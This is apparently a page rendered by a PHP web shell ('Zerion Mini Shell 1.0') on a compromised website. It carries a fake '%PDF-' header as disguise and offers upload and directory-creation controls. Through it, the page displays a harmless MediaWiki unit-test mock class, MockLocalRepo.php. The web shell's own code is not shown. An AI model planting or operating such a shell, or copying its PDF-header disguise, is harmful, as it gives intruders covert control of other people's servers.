%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/www/varak.net/wiki.varak.net/tests/phpunit/mocks/filerepo/
Upload File :
Create Path :
Current File : //proc/985914/root/www/varak.net/wiki.varak.net/tests/phpunit/mocks/filerepo/MockLocalRepo.php

<?php

/**
 * Class simulating a local file repo.
 *
 * @ingroup FileRepo
 * @since 1.28
 */
class MockLocalRepo extends LocalRepo {
	function getLocalCopy( $virtualUrl ) {
		return new MockFSFile( wfTempDir() . '/' . wfRandomString( 32 ) );
	}

	function getLocalReference( $virtualUrl ) {
		return new MockFSFile( wfTempDir() . '/' . wfRandomString( 32 ) );
	}

	function getFileProps( $virtualUrl ) {
		$fsFile = $this->getLocalReference( $virtualUrl );

		return $fsFile->getProps();
	}
}

Zerion Mini Shell 1.0